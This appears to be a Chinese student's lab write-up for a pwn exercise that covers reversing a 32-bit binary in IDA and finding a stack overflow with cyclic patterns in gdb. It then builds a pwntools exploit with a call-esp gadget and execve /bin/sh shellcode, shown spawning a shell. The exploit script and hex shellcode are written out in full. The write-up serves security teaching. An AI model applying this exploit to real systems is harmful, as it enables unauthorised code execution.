题目均为linux 32系统静态链接编译程序,关闭栈执行保护
要求:
1.需在Linux系统下安装pwntools。
2、编写python脚本,基于pwntool在本地加载目标测试程序,
通过脚本给程序灌入输入数据,构造的输入数据需绕过程序各种校验条件,达到漏洞触发路径,最后构造能够利用漏洞的样本。
题目中说了是32位系统的程序,但是如果没有说明的话,需要自己辨别,之前浏览博客的时候看到一个命令可以解决这个问题,当时没有保存,
现在找不见了,等以后找见了再补过来。

关闭地址随机化
ningan@ubuntu:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
1.先执行这个可执行文件 发现有个字符串
ningan@ubuntu:~/anan/hw$ ./pwn10 Do you want the secret?
Now , give me your key:3 a YQ==ningan@ubuntu:~/anan/hw$
ningan@ubuntu:~/anan/hw$
2.到ida中用search->text (Alt + t),输入关键字符,例如:secret,找到那个字符串的位置 那就是主函数的入口
.text:08048DA0 ; __unwind {
.text:08048DA0 push ebp
.text:08048DA1 mov ebp, esp
.text:08048DA3 sub esp, 98h
.text:08048DA9 sub esp, 0Ch
.text:08048DAC push offset aDoYouWantTheSe ; "Do you want the secret?"
.text:08048DB1 call sub_804F9C0
.text:08048DB6 add esp, 10h
.text:08048DB9 sub esp, 0Ch
.text:08048DBC push offset aNowGiveMeYourK ; "Now , give me your key:"
.text:08048DC1 call sub_804F230
.text:08048DC6 add esp, 10h
.text:08048DC9 sub esp, 8
.text:08048DCC lea eax, [ebp-0Ch]
.text:08048DCF push eax
.text:08048DD0 push offset aD ; "%d"
.text:08048DD5 call sub_804F270
.text:08048DDA add esp, 10h
.text:08048DDD mov eax, [ebp-0Ch]
.text:08048DE0 cmp eax, 0Ah
.text:08048DE3 jle short loc_8048E07
.text:08048DE5 mov eax, [ebp-0Ch]
.text:08048DE8 cmp eax, 1
.text:08048DEB jz short loc_8048E07
.text:08048DED sub esp, 0Ch
.text:08048DF0 push offset aWrongKey ; "Wrong key!"
.text:08048DF5 call sub_804F230
.text:08048DFA add esp, 10h
.text:08048DFD sub esp, 0Ch
.text:08048E00 push 0 ; status
.text:08048E02 call sub_804E8A0
3.F5反汇编 看到伪代码
int sub_8048DA0()
{
int v1; // [esp-90h] [ebp-90h]
signed int v2; // [esp-10h] [ebp-10h]
sub_804F9C0("Do you want the secret?");
sub_804F230("Now , give me your key:");
sub_804F270("%d", &v2);
if ( v2 > 10 && v2 != 1 )
{
sub_804F230("Wrong key!");
sub_804E8A0(0);
}
sub_80511D0();
sub_804F840(&v1);
sub_80489F6(&v1);
return sub_804F230("%s");
}
4.分析伪代码 发现有溢出可以利用
分析该伪代码,结合之前在linux系统中运行结果分析如下:
运行代码,首先输出:Do you want the secret? Now, give me your key:
当我们输入小于等于10但是不等于1的一个整数时,会提示我们继续输入(在函数sub_804F840)
然后下一个函数(sub_80489F6)会对输入的字符进行BASE65编码
最后一个函数(sub_804F230)对这个编码进行输出
ningan@ubuntu:~/anan/hw$ ./pwn10 Do you want the secret?
Now , give me your key:3 a YQ==ningan@ubuntu:~/anan/hw$
ningan@ubuntu:~/anan/hw$
5.利用
(1)找返回地址
1)利用cyclic函数生成一些随机字符
ningan@ubuntu:~/anan/hw$ cyclic 200

2)进入gdb,在主函数0x08048da0处下断点,运行,利用刚刚生成的随机字符来覆盖栈上的数据
ningan@ubuntu:~/anan/hw$ gdb -q pwn10
gdb-peda$ b *0x08048da0
Breakpoint 1 at 0x8048da0
gdb-peda$ run
gdb-peda$ c
Continuing.
Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':
Do you want the secret?
Now , give me your key:3
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
YWFhYWJhYWFjYWFhZGFhYWVhYWFmYWFhZ2FhYWhhYWFpYWFhamFhYWthYWFsYWFhbWFhYW5hYWFvYWFhcGFhYXFhYWFyYWFhc2FhYXRhYWF1YWFhdmFhYXdhYWF4YWFheWFhYXphYWJiYWFiY2FhYmRhYWJlYWFiZmFhYmdhYWJoYWFiaWFhYmphYWJrYWFibGFhYm1hYWJuYWFib2FhYnBhYWJxYWFicmFhYnNhYWJ0YWFidWFhYnZhYWJ3YWFieGFhYnlhYWI=
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x10c
EBX: 0x80481b0 (push ebx)
ECX: 0xffffffff
EDX: 0x80ed4d4 --> 0x0
ESI: 0x80ec00c --> 0x8065430 (mov edx,DWORD PTR [esp+0x4])
EDI: 0x30 ('0')
EBP: 0x6261616b ('kaab')
ESP: 0xffffd0f0 ("maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") EIP: 0x6261616c ('laab')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6261616c
[------------------------------------stack-------------------------------------]
0000| 0xffffd0f0 ("maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0004| 0xffffd0f4 ("naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0008| 0xffffd0f8 ("oaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0012| 0xffffd0fc ("paabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0016| 0xffffd100 ("qaabraabsaabtaabuaabvaabwaabxaabyaab")
0020| 0xffffd104 ("raabsaabtaabuaabvaabwaabxaabyaab")
0024| 0xffffd108 ("saabtaabuaabvaabwaabxaabyaab")
0028| 0xffffd10c ("taabuaabvaabwaabxaabyaab")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6261616c in ?? ()
Python Exception <class 'AttributeError'> 'module' object has no attribute 'commands':
gdb-peda$
3)计算返回地址
说明:我用的是gdb-peda,在gdb中不能用cyclic函数。
但是组里的其他同学直接用gdb,或是pwngdb都可以直接用,这样子就可以直接找到返回地址前面输入了多少个字符。
gdb-peda$ cyclic 200
Undefined command: "cyclic". Try "help".
gdb-peda$ cyclic_find(0x6261616c)
Undefined command: "cyclic_find". Try "help".
但是我不能用啊,我就找了一个最简单粗暴的方法:数。因为cyclic函数生成的字符是有规律的,如下:
aaaa
baaa
caaa
...
xaaa
yaaa
zaab
baab
caab
daab
...
kaab
laab
maab
...
可以看到在laab前面有144个字符,就是说返回地址的前面我们填充了144个字符。
(2)构造payload
参考demo的例子
demo里是这样子构造的 sendPayload(p,'a'*44 + p32(0x080e5837) + shellcode + '\n')
0x080e5837这个地址是call esp指令的地址,call esp的汇编指令时FFD4
我们可以仿照这个找pwn10中call wap指令的地址。如下:
在ida中search->sequence of bytes,输入:FF D4

点击“c”,将其转换为代码,如下:

'a'*144 + p32(0x080cb770) + shellcode
6.编写攻击代码
我:我改了这个和这个,但是怎么攻击不成功呢?
女神:那个demo的攻击代码看懂了吗?
我:没有
女神:看去
我:好
ningan@ubuntu:~/anan/hw$ vim pwn10.py
ningan@ubuntu:~/anan/hw$ python pwn10.py ./pwn10
[+] Starting local process './pwn10': pid 4855
Enter a number: 3
[*] Switching to interactive mode
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhcLcMCJCQkJBqaGgvLy9zaC9iaW6J42gBAQEBgTQkcmkBATHJUWoEWQHhUYnhMdJqO1iD6DDNgA==$ ls
core peda-session-pwn_demo.txt pwn04 pwn08 pwn_demo
linux_server pwn01 pwn05 pwn09 pwn_demo.py
peda-session-pwn03.txt pwn02 pwn06 pwn10
peda-session-pwn10.txt pwn03 pwn07 pwn10.py
$ whoami
ningan
$ exit
[*] Got EOF while reading in interactive
$ quit
[*] Process './pwn10' stopped with exit code 127 (pid 4855)
[*] Got EOF while sending in interactive
ningan@ubuntu:~/anan/hw$

攻击成功
代码如下:
#!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
x = raw_input("Enter a number: ")
sendPayload(p,x)
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
ningan@ubuntu:~/anan/hw$ cat pwn10.py
#!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
x = raw_input("Enter a number: ")
sendPayload(p,x)
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
仿照pwn_demo.py编写
先输入一个<=10但是不为1的数字,然后输入我们构造好的字符串
pwn,攻击成功!
改进:之前的攻击需要手动输入一个数字,比较麻烦,我们利用下面的代码,将数字直接注入,
#!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
#x = raw_input("Enter a number: ")
sendPayload(p,'4'+'\n')
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
$ cat pwn10.py
#!/usr/bin/env python
#coding=utf-8
from pwn import *
import sys
context.arch='i386'
context.log_level='info'
def sendPayload(p,payload):
p.send(payload)
def pwn10(bin_path):
shellcode='909090906a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a3b5883e830cd80'.decode('hex')
p=process(bin_path)
p.settimeout(0.1)
p.recvuntil(':')
#x = raw_input("Enter a number: ")
sendPayload(p,'4'+'\n')
sendPayload(p,'a'*144 + p32(0x080cb770) + shellcode + '\n')
p.interactive()
if __name__ == '__main__':
pwn10(sys.argv[1])
要注意加\n,要不然攻击成功之后,输入命令就会直接退出。
|